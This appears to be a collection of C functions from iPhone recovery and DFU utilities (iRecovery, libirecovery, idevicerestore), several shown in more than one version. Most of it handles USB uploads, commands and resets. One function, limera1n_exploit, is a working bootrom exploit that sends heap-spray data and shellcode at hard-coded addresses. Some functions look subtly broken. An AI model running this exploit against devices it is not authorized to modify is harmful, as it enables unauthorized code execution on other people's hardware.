int main(int argc, char *argv[]) { printf("iRecovery - Recovery Utility\n"); printf("by westbaer\nThanks to pod2g, tom3q, planetbeing, geohot and posixninja.\n\n"); if(argc < 2) { irecv_usage(); return -1; } struct usb_dev_handle* handle = irecv_init(RECV_MODE); if (handle == NULL) { handle = irecv_init(WTF_MODE); if (handle == NULL) { printf("No iPhone/iPod found.\n"); return -1; } else { printf("Found iPhone/iPod in DFU/WTF mode\n"); } } else { printf("Found iPhone/iPod in Recovery mode\n"); } if(!strcmp(argv[1], "-f")) { if(argc == 3) { irecv_upload(handle, argv[2]); } } else if(!strcmp(argv[1], "-c")) { if(argc >= 3) { irecv_command(handle, argc-2, &argv[2]); } } else if(!strcmp(argv[1], "-k")) { if(argc >= 3) { irecv_exploit(handle, argv[2]); } else { irecv_exploit(handle, NULL); } } else if(!strcmp(argv[1], "-s")) { if(argc >= 3) { irecv_console(handle, argv[2]); } else { irecv_console(handle, NULL); } } else if(!strcmp(argv[1], "-r")) { irecv_reset(handle); } else if (!strcmp(argv[1], "-l")) { irecv_list(handle, argv[2]); } else if (!strcmp(argv[1], "-x")) { if(argc == 3) { irecv_upload(handle, argv[2]); irecv_reset(handle); } } irecv_close(handle); return 0; }
int main(int argc, char *argv[]) { printf("iRecovery - Recovery Utility\n"); printf("by westbaer\nThanks to pod2g, tom3q, planetbeing and geohot.\n\n"); if(argc < 2) { irecv_usage(); exit(EXIT_FAILURE); } if(argv[1][0] != '-') { irecv_usage(); exit(EXIT_FAILURE); } signal(SIGINT, irecv_quit); // Close USB on ^C if(strcmp(argv[1], "-f") == 0) { if(argc < 3) { printf("No valid file set.\n"); exit(EXIT_FAILURE); } irecv_sendfile(argv[2]); } else if(strcmp(argv[1], "-c") == 0) { irecv_sendcmd(argv[2]); } else if(strcmp(argv[1], "-s") == 0) { irecv_console(); } else if(strcmp(argv[1], "-r") == 0) { irecv_reset(); } return 0; }
irecv_error_t irecv_finish_transfer(irecv_client_t client) { int i = 0; unsigned int status = 0; if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; irecv_control_transfer(client, 0x21, 1, 0, 0, 0, 0, 1000); for(i = 0; i < 3; i++){ irecv_get_status(client, &status); } irecv_reset(client); return IRECV_E_SUCCESS; }
int dfu_send_buffer(struct idevicerestore_client_t* client, char* buffer, uint32_t size) { irecv_error_t error = 0; info("Sending data (%d bytes)...\n", size); error = irecv_send_buffer(client->dfu->client, buffer, size, 1); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to send data: %s\n", irecv_strerror(error)); return -1; } error = irecv_reset(client->dfu->client); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to reset device\n"); irecv_close(client->dfu->client); return -1; } return 0; }
int dfu_enter_recovery(struct idevicerestore_client_t* client, plist_t build_identity) { irecv_client_t dfu = NULL; const char* component = "iBSS"; irecv_error_t dfu_error = IRECV_E_SUCCESS; if (recovery_open_with_timeout(client) < 0 || dfu->mode != kDfuMode) { error("ERROR: Unable to connect to DFU device\n"); if (dfu) irecv_close(dfu); return -1; } if (recovery_send_component(client, build_identity, component) < 0) { error("ERROR: Unable to send %s to device\n", component); irecv_close(dfu); return -1; } dfu_error = irecv_reset(client->dfu->client); if (dfu_error != IRECV_E_SUCCESS) { error("ERROR: Unable to reset device\n"); irecv_close(dfu); return -1; } irecv_close(client->dfu->client); client->dfu->client = NULL; // Reconnect to device, but this time make sure we're not still in DFU mode if (recovery_open_with_timeout(client) < 0 || client->mode->index != kDfuMode) { error("ERROR: Unable to connect to recovery device\n"); if (client->dfu->client) irecv_close(client->dfu->client); return -1; } client->mode = &idevicerestore_modes[MODE_RECOVERY]; irecv_close(client->dfu->client); client->dfu->client = NULL; return 0; }
int irecv_parse(struct usb_dev_handle* handle, char* command) { unsigned int status = 0; char* action = strtok(strdup(command), " "); if(!strcmp(action, "help")) { printf("Commands:\n"); printf("\t/exit\t\t\texit from recovery console.\n"); printf("\t/upload <file>\t\tupload file to device.\n"); printf("\t/exploit [payload]\tsend usb exploit packet.\n"); printf("\t/reset\t\t\tsend usb reset.\n"); } else if(!strcmp(action, "exit")) { free(action); return -1; } else if (!strcmp(action, "reset")) { irecv_reset(handle); return 0; } else if(strcmp(action, "upload") == 0) { char* filename = strtok(NULL, " "); if(filename != NULL) { irecv_upload(handle, filename); } else if(strcmp(action, "exploit") == 0) { char* payload = strtok(NULL, " "); if (payload != NULL) { irecv_exploit(handle, payload); } else { irecv_exploit(handle, NULL); } } free(action); return 0; } }
irecv_error_t irecv_send_buffer(irecv_client_t client, unsigned char* buffer, unsigned long length, int dfuNotifyFinished) { irecv_error_t error = 0; int recovery_mode = (client->mode != kDfuMode); if (check_context(client) != IRECV_E_SUCCESS) return IRECV_E_NO_DEVICE; int packet_size = 0x800; int last = length % packet_size; int packets = length / packet_size; if (last != 0) { packets++; } else { last = packet_size; } /* initiate transfer */ if (recovery_mode) { error = irecv_control_transfer(client, 0x41, 0, 0, 0, NULL, 0, 1000); } else { error = irecv_control_transfer(client, 0x21, 4, 0, 0, NULL, 0, 1000); } if (error != IRECV_E_SUCCESS) { return error; } int i = 0; double progress = 0; unsigned long count = 0; unsigned int status = 0; int bytes = 0; for (i = 0; i < packets; i++) { int size = (i + 1) < packets ? packet_size : last; /* Use bulk transfer for recovery mode and control transfer for DFU and WTF mode */ if (recovery_mode) { error = irecv_bulk_transfer(client, 0x04, &buffer[i * packet_size], size, &bytes, 1000); } else { bytes = irecv_control_transfer(client, 0x21, 1, 0, 0, &buffer[i * packet_size], size, 1000); } if (bytes != size) { return IRECV_E_USB_UPLOAD; } if (!recovery_mode) { error = irecv_get_status(client, &status); } if (error != IRECV_E_SUCCESS) { return error; } if (!recovery_mode && status != 5) { return IRECV_E_USB_UPLOAD; } count += size; if(client->progress_callback != NULL) { irecv_event_t event; event.progress = ((double) count/ (double) length) * 100.0; event.type = IRECV_PROGRESS; event.data = "Uploading"; event.size = count; client->progress_callback(client, &event); } else { debug("Sent: %d bytes - %lu of %lu\n", bytes, count, length); } } if (dfuNotifyFinished && !recovery_mode) { irecv_control_transfer(client, 0x21, 1, 0, 0, (unsigned char*) buffer, 0, 1000); for (i = 0; i < 3; i++) { error = irecv_get_status(client, &status); if (error != IRECV_E_SUCCESS) { return error; } } irecv_reset(client); } return IRECV_E_SUCCESS; }
int main(int argc, char* argv[]) { int i = 0; int opt = 0; int action = 0; char* argument = NULL; irecv_error_t error = 0; if (argc == 1) print_usage(); while ((opt = getopt(argc, argv, "vhrsc:f:e:k::")) > 0) { switch (opt) { case 'v': verbose += 1; break; case 'h': print_usage(); break; case 'r': action = kResetDevice; break; case 's': action = kStartShell; break; case 'f': action = kSendFile; argument = optarg; break; case 'c': action = kSendCommand; argument = optarg; break; case 'k': action = kSendExploit; argument = optarg; break; case 'e': action = kSendScript; argument = optarg; break; default: fprintf(stderr, "Unknown argument\n"); return -1; } } if (verbose) irecv_set_debug_level(verbose); irecv_init(); irecv_client_t client = NULL; for (i = 0; i <= 5; i++) { debug("Attempting to connect... \n"); if (irecv_open(&client) != IRECV_E_SUCCESS) sleep(1); else break; if (i == 5) { return -1; } } switch (action) { case kResetDevice: irecv_reset(client); break; case kSendFile: irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 1); debug("%s\n", irecv_strerror(error)); break; case kSendCommand: error = irecv_send_command(client, argument); debug("%s\n", irecv_strerror(error)); break; case kSendExploit: if (argument != NULL) { irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 0); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } } error = irecv_send_exploit(client); debug("%s\n", irecv_strerror(error)); break; case kStartShell: init_shell(client); break; case kSendScript: error = irecv_execute_script(client, argument); if(error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); } break; default: fprintf(stderr, "Unknown action\n"); break; } irecv_close(client); return 0; }
int dfu_enter_recovery(struct idevicerestore_client_t* client, plist_t build_identity) { irecv_error_t dfu_error = IRECV_E_SUCCESS; if (dfu_client_new(client) < 0) { error("ERROR: Unable to connect to DFU device\n"); return -1; } if (client->dfu->client->mode != kDfuMode) { info("NOTE: device is not in DFU mode, assuming recovery mode.\n"); client->mode = &idevicerestore_modes[MODE_RECOVERY]; return 0; } if (dfu_send_component(client, build_identity, "iBSS") < 0) { error("ERROR: Unable to send iBSS to device\n"); irecv_close(client->dfu->client); return -1; } dfu_error = irecv_reset(client->dfu->client); if (dfu_error != IRECV_E_SUCCESS) { error("ERROR: Unable to reset device\n"); irecv_close(client->dfu->client); return -1; } if (client->build[0] > '8') { /* reconnect */ dfu_client_free(client); sleep(1); dfu_client_new(client); /* get nonce */ unsigned char* nonce = NULL; int nonce_size = 0; int nonce_changed = 0; if (dfu_get_nonce(client, &nonce, &nonce_size) < 0) { error("ERROR: Unable to get nonce from device!\n"); return -1; } if (!client->nonce || (nonce_size != client->nonce_size) || (memcmp(nonce, client->nonce, nonce_size) != 0)) { nonce_changed = 1; if (client->nonce) { free(client->nonce); } client->nonce = nonce; client->nonce_size = nonce_size; } else { free(nonce); } info("Nonce: "); int i; for (i = 0; i < client->nonce_size; i++) { info("%02x ", client->nonce[i]); } info("\n"); if (nonce_changed && !(client->flags & FLAG_CUSTOM)) { // Welcome iOS5. We have to re-request the TSS with our nonce. plist_free(client->tss); if (get_shsh_blobs(client, client->ecid, client->nonce, client->nonce_size, build_identity, &client->tss) < 0) { error("ERROR: Unable to get SHSH blobs for this device\n"); return -1; } if (!client->tss) { error("ERROR: can't continue without TSS\n"); return -1; } fixup_tss(client->tss); } if (irecv_set_configuration(client->dfu->client, 1) < 0) { error("ERROR: set configuration failed\n"); } /* send iBEC */ if (dfu_send_component(client, build_identity, "iBEC") < 0) { error("ERROR: Unable to send iBEC to device\n"); irecv_close(client->dfu->client); return -1; } dfu_error = irecv_reset(client->dfu->client); if (dfu_error != IRECV_E_SUCCESS) { error("ERROR: Unable to reset device\n"); irecv_close(client->dfu->client); return -1; } } dfu_client_free(client); sleep(7); // Reconnect to device, but this time make sure we're not still in DFU mode if (recovery_client_new(client) < 0 || client->recovery->client->mode == kDfuMode) { error("ERROR: Unable to connect to recovery device\n"); if (client->recovery->client) irecv_close(client->recovery->client); return -1; } return 0; }
int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client) { irecv_error_t error = IRECV_E_SUCCESS; unsigned int i = 0; unsigned char buf[0x800]; unsigned char shellcode[0x800]; unsigned int max_size = 0x24000; //unsigned int load_address = 0x84000000; unsigned int stack_address = 0x84033F98; unsigned int shellcode_address = 0x84023001; unsigned int shellcode_length = 0; if (device->chip_id == 8930) { max_size = 0x2C000; stack_address = 0x8403BF9C; shellcode_address = 0x8402B001; } if (device->chip_id == 8920) { max_size = 0x24000; stack_address = 0x84033FA4; shellcode_address = 0x84023001; } memset(shellcode, 0x0, 0x800); shellcode_length = sizeof(limera1n_payload); memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("%s\n", irecv_strerror(error)); return -1; } memset(buf, 0xCC, 0x800); for(i = 0; i < 0x800; i += 0x40) { unsigned int* heap = (unsigned int*)(buf+i); heap[0] = 0x405; heap[1] = 0x101; heap[2] = shellcode_address; heap[3] = stack_address; } debug("Sending chunk headers\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); memset(buf, 0xCC, 0x800); for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); } debug("Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); debug("Sending fake data\n"); memset(buf, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); //debug("Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); irecv_reset(client); irecv_finish_transfer(client); debug("Exploit sent\n"); debug("Reconnecting to device\n"); client = irecv_reconnect(client, 7); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect\n"); return -1; } return 0; }
int main(int argc, char* argv[]) { int i = 0; int opt = 0; int action = 0; unsigned long long ecid = 0; int mode = -1; char* argument = NULL; irecv_error_t error = 0; char* buffer = NULL; uint64_t buffer_length = 0; if (argc == 1) { print_usage(argc, argv); return 0; } while ((opt = getopt(argc, argv, "i:vhrsmnc:f:e:k::")) > 0) { switch (opt) { case 'i': if (optarg) { char* tail = NULL; ecid = strtoull(optarg, &tail, 16); if (tail && (tail[0] != '\0')) { ecid = 0; } if (ecid == 0) { fprintf(stderr, "ERROR: Could not parse ECID from argument '%s'\n", optarg); return -1; } } break; case 'v': verbose += 1; break; case 'h': print_usage(argc, argv); return 0; case 'm': action = kShowMode; break; case 'n': action = kRebootToNormalMode; break; case 'r': action = kResetDevice; break; case 's': action = kStartShell; break; case 'f': action = kSendFile; argument = optarg; break; case 'c': action = kSendCommand; argument = optarg; break; case 'k': action = kSendExploit; argument = optarg; break; case 'e': action = kSendScript; argument = optarg; break; default: fprintf(stderr, "Unknown argument\n"); return -1; } } if (verbose) irecv_set_debug_level(verbose); irecv_init(); irecv_client_t client = NULL; for (i = 0; i <= 5; i++) { debug("Attempting to connect... \n"); if (irecv_open_with_ecid(&client, ecid) != IRECV_E_SUCCESS) sleep(1); else break; if (i == 5) { return -1; } } irecv_device_t device = NULL; irecv_devices_get_device_by_client(client, &device); if (device) debug("Connected to %s, model %s, cpid 0x%04x, bdid 0x%02x\n", device->product_type, device->hardware_model, device->chip_id, device->board_id); switch (action) { case kResetDevice: irecv_reset(client); break; case kSendFile: irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 1); debug("%s\n", irecv_strerror(error)); break; case kSendCommand: error = irecv_send_command(client, argument); debug("%s\n", irecv_strerror(error)); break; case kSendExploit: if (argument != NULL) { irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 0); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } } error = irecv_trigger_limera1n_exploit(client); debug("%s\n", irecv_strerror(error)); break; case kStartShell: init_shell(client); break; case kSendScript: buffer_read_from_filename(argument, &buffer, &buffer_length); if (buffer) { buffer[buffer_length] = '\0'; error = irecv_execute_script(client, buffer); if(error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); } free(buffer); } else { fprintf(stderr, "Could not read file '%s'\n", argument); } break; case kShowMode: irecv_get_mode(client, &mode); printf("%s Mode\n", mode_to_str(mode)); break; case kRebootToNormalMode: error = irecv_setenv(client, "auto-boot", "true"); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } error = irecv_saveenv(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } error = irecv_reboot(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); } else { debug("%s\n", irecv_strerror(error)); } break; default: fprintf(stderr, "Unknown action\n"); break; } irecv_close(client); return 0; }
int main(int argc, char *argv[]) { printf("iRecovery - Recovery Utility\n"); printf("by westbaer\nThanks to pod2g, tom3q, planetbeing, geohot and posixninja.\n\n"); if(argc < 2) { irecv_usage(); return -1; } if(!strcmp(argv[1], "-q")) { enter_recovery(); } struct usb_dev_handle* handle = irecv_init(RECV_MODE); if (handle == NULL) { handle = irecv_init(WTF_MODE); if (handle == NULL) { printf("No iPhone/iPod found.\n"); return -1; } else { printf("Found iPhone/iPod in DFU/WTF mode\n"); } } else { printf("Found iPhone/iPod in Recovery mode\n"); } if (((irecv_command(handle, 1, "setenv auto-boot true")) == -1) || ((irecv_command(handle, 1, "saveenv")) == -1)) printf("Failed to set auto-boot"); if(!strcmp(argv[1], "-f")) { if(argc == 3) { irecv_upload(handle, argv[2]); } } else if(!strcmp(argv[1], "-c")) { if(argc >= 3) { irecv_command(handle, argc-2, &argv[2]); } } else if(!strcmp(argv[1], "-k")) { if(argc >= 3) { irecv_exploit(handle, argv[2]); } else { irecv_exploit(handle, NULL); } } else if(!strcmp(argv[1], "-k")) { if(argc >= 3) { irecv_exploit(handle, argv[2]); } } else if(!strcmp(argv[1], "-x40")) { if(argc >= 3) { irecv_sendrawusb0x40(handle, argv[2]); } } else if(!strcmp(argv[1], "-x21")) { if(argc >= 3) { irecv_sendrawusb0x21(handle, argv[2]); } } else if(!strcmp(argv[1], "-xA1")) { if(argc >= 3) { irecv_sendrawusb0xA1(handle, argv[2]); } } else if(!strcmp(argv[1], "-s")) { if(argc >= 3) { irecv_console(handle, argv[2]); } else { irecv_console(handle, NULL); } } else if(!strcmp(argv[1], "-r")) { irecv_reset(handle); } else if (!strcmp(argv[1], "-l")) { irecv_list(handle, argv[2]); } else if (!strcmp(argv[1], "-x")) { if (argc == 3) { irecv_upload(handle, argv[2]); irecv_reset(handle); } } irecv_close(handle); return 0; }